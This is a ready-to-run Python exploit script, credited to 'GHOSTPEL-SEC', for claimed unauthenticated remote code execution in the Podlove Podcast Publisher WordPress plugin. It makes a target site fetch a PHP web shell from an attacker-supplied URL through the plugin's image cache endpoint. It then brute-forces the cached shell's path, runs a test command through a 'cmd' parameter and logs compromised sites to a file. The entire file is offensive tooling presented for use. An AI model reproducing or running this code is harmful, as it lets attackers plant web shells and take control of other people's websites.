#!/usr/bin/env python3 """ GHOSTPEL-SEC Podlove Podcast Publisher <= 4.2.6 - Unauthenticated RCE Exploit Author: GHOSTPEL-SEC Version: 1.2 """ import warnings import urllib3 # Suppress all warnings for clean output warnings.filterwarnings("ignore") urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) import requests import hashlib import sys import time import random from urllib.parse import urlparse, quote import re # ASCII Banner BANNER = """ \033[96m ______ _ _ ____ ____ _____ _ _ ______ _____ _____ _____ ______ / ______| | | |/ __ \| _ \| ___| | | | ____/ ____| / ____/ ____| ____| | | __ | |__| | | | | |_) | |__ | | | | |__ | | | (___| (___ | |__ | | |_ || __ | | | | _ <| __|| | | | __|| | \___ \\___ \| __| | |__| || | | | |__| | |_) | |___| |__| | |___| |____ ____) |___) | |____ \_____||_| |_|\____/|____/|______\____/|______\_____||_____/|_____/|______| \033[93m Podlove Podcast Publisher <= 4.2.6 - Unauthenticated RCE \033[92m Author: GHOSTPEL-SEC \033[94m GitHub: https://github.com/ghostpel-sec/ \033[0m """ class PodloveExploiter: USER_AGENTS = [ 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/121.0', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', 'Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1', ] def __init__(self): self.session = requests.Session() self.session.headers.update({ 'User-Agent': random.choice(self.USER_AGENTS), 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1', }) self.session.verify = False self.session.timeout = 30 def normalize_url(self, url): """Normalize target URL""" url = url.strip() if not url.startswith(('http://', 'https://')): url = 'http://' + url return url.rstrip('/') def get_filename_from_url(self, shell_url): """Extract filename from shell URL - CORRECTED version""" parsed = urlparse(shell_url) # Split path and get last part, then split by dot and take first part filename = parsed.path.split('/')[-1].split('.')[0] or "shell" return filename def hex_encode(self, url): """Hex encode URL for Podlove parameter""" return url.encode().hex() def check_vulnerability_marker(self, shell_content): """Check if shell contains the Ghostpel-SEC marker""" marker = "youtube : https://www.youtube.com/@Ghostpel-Sec || github : https://github.com/ghostpel-sec/" return marker in shell_content def verify_shell_content(self, shell_url): """Verify that the shell URL contains the Ghostpel-SEC marker""" try: print(f"\033[94m[*] Verifying shell content at: {shell_url}\033[0m") response = self.session.get(shell_url, timeout=10) if response.status_code == 200: content = response.text if self.check_vulnerability_marker(content): print(f"\033[92m[+] Shell verified - Ghostpel-SEC marker found!\033[0m") return True else: print(f"\033[91m[-] Shell does not contain Ghostpel-SEC marker\033[0m") return False else: print(f"\033[91m[-] Failed to access shell (HTTP {response.status_code})\033[0m") return False except Exception as e: print(f"\033[91m[-] Error verifying shell: {str(e)}\033[0m") return False def exploit_target(self, target_url, shell_url): """Exploit single target""" print(f"\n\033[94m[*] Target: {target_url}\033[0m") print(f"\033[94m[*] Shell URL: {shell_url}\033[0m") # Extract filename from shell URL - CORRECTED filename = self.get_filename_from_url(shell_url) print(f"\033[94m[*] Using filename: {filename}\033[0m") # First verify the shell content if not self.verify_shell_content(shell_url): print(f"\033[91m[-] Shell verification failed. Aborting.\033[0m") return try: # Step 1: Trigger upload print("\033[94m[*] Triggering shell upload...\033[0m") encoded_url = self.hex_encode(shell_url) endpoint = f"{target_url}/podlove/image/{encoded_url}/100/100/0/{filename}" response = self.session.get(endpoint, timeout=30) if response.status_code == 200: print(f"\033[92m[+] Upload triggered successfully\033[0m") else: print(f"\033[91m[-] Upload failed (HTTP {response.status_code})\033[0m") return # Wait for cache processing print("\033[94m[*] Waiting for cache processing...\033[0m") time.sleep(3) # Step 2: Calculate file location - use shell_url + filename for hash file_hash = hashlib.md5((shell_url + filename).encode()).hexdigest() subdir = f"{file_hash[:2]}/{file_hash[2:]}" print(f"\033[94m[*] Hash: {file_hash}\033[0m") print(f"\033[94m[*] Subdir: {subdir}\033[0m") # Build possible shell URLs - like the original script base_url = f"{target_url}/wp-content/cache/podlove/{subdir}" # Get extension from original URL parsed = urlparse(shell_url) path_parts = parsed.path.split('.') ext = path_parts[-1] if len(path_parts) > 1 else 'php' # Try different filename patterns urls_to_try = [ f"{base_url}/{filename}_original.{ext}", f"{base_url}/original.{ext}", f"{base_url}/{filename}.{ext}", f"{base_url}/original_{filename}.{ext}", # Replace dots with hyphens in filename for some cases f"{base_url}/{filename.replace('.', '-')}_original.{ext}", f"{base_url}/{filename.replace('.', '-')}.{ext}", ] # Also try with .php extension if different if ext != 'php': urls_to_try.extend([ f"{base_url}/{filename}_original.php", f"{base_url}/original.php", f"{base_url}/{filename}.php", ]) print(f"\033[94m[*] Searching for shell...\033[0m") shell_found = False shell_path = None for test_url in urls_to_try: print(f"\033[94m[*] Trying: {test_url}\033[0m") try: response = self.session.get(test_url, timeout=5) if response.status_code == 200: # Check for error indicators content_lower = response.text.lower() error_indicators = ['404 not found', '403 forbidden', 'access denied'] if not any(error in content_lower for error in error_indicators): print(f"\033[92m[+] Found potential shell at: {test_url}\033[0m") # Verify the uploaded shell contains the marker if self.verify_shell_content(test_url): print(f"\033[92m[+] Uploaded shell verified with Ghostpel-SEC marker\033[0m") shell_found = True shell_path = test_url break else: print(f"\033[91m[-] Shell found but missing Ghostpel-SEC marker\033[0m") except: continue if shell_found and shell_path: print(f"\033[92m[+] SUCCESS! Shell uploaded successfully\033[0m") print(f"\033[92m[+] Shell URL: {shell_path}\033[0m") # Output format: url | filename | shell_path print(f"\n\033[93m[RESULT] {target_url} | {filename} | {shell_path}\033[0m") # Save to file try: with open('ghostpel_results.txt', 'a') as f: f.write(f"{target_url} | {filename} | {shell_path}\n") print(f"\033[92m[+] Result saved to ghostpel_results.txt\033[0m") except: pass # Test shell with a simple command test_cmd = f"{shell_path}?cmd=echo+GHOSTPEL-SEC" try: test_response = self.session.get(test_cmd, timeout=5) if test_response.status_code == 200 and 'GHOSTPEL-SEC' in test_response.text: print(f"\033[92m[+] Shell command execution verified\033[0m") else: print(f"\033[93m[!] Shell found but command execution may not work\033[0m") except: print(f"\033[93m[!] Could not verify command execution\033[0m") else: print(f"\033[91m[-] No valid shell found with Ghostpel-SEC marker\033[0m") except Exception as e: print(f"\033[91m[-] Error: {str(e)}\033[0m") def main(): # Print banner print(BANNER) # Get user input print("\033[94m[*] Please provide the following information:\033[0m") target_url = input("\033[93m[?] Enter target URL: \033[0m").strip() shell_url = input("\033[93m[?] Enter shell-url: \033[0m").strip() # Validate inputs if not target_url or not shell_url: print("\033[91m[-] Error: Both URL and shell-url are required!\033[0m") sys.exit(1) print(f"\n\033[94m[*] Target: {target_url}\033[0m") print(f"\033[94m[*] Shell URL: {shell_url}\033[0m") # Initialize exploiter exploiter = PodloveExploiter() # Normalize URL target_url = exploiter.normalize_url(target_url) # Exploit target exploiter.exploit_target(target_url, shell_url) print(f"\n\033[94m[*] Exploitation completed\033[0m") if __name__ == "__main__": try: main() except KeyboardInterrupt: print("\n\n\033[93m[!] Interrupted by user\033[0m") sys.exit(0) except Exception as e: print(f"\n\033[91m[-] Unexpected error: {str(e)}\033[0m") sys.exit(1)